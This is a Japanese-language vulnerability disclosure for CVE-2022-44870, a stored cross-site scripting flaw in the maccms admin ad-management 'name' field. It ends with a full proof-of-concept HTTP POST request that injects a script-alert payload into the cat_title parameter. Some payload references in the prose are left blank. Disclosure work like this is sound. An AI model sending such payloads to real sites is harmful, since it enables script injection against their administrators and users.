CVE-2022-44870

maccms admin+ XSS攻撃

概要

メーカーのウェブサイト情報：https://maccms.pro

ソースコードダウンロードアドレス： https://github.com/maccmspro/maccms10.git

2.脆弱性の詳細

バックグラウンドに移動し、基本 > AD管理 > 名前に移動し、

名前ボックスにペイロード1を挿入します:

XSS攻撃を引き起こす可能性があります。

脆弱性名：ストレージ型XSS

脆弱性レベル：中リスク

脆弱性の場所：広告管理-->名前

cat_titleにを挿入

3.再現可能な脆弱性とPOC

POST /admin.php/admin/banner/infocat.html HTTP/1.1

Host: 192.168.52.163

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:108.0) Gecko/20100101 Firefox/108.0

Accept: /

Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2

Accept-Encoding: gzip, deflate

Content-Type: application/x-www-form-urlencoded; charset=UTF-8

X-Requested-With: XMLHttpRequest

Content-Length: 65

Connection: close

Cookie: PHPSESSID=qgaks01bl6ip8j7fseaabj4l9q

cat_id=&cat_title=%3Cscript%3Ealert(1)%3C%2Fscript%3E&cat_code=111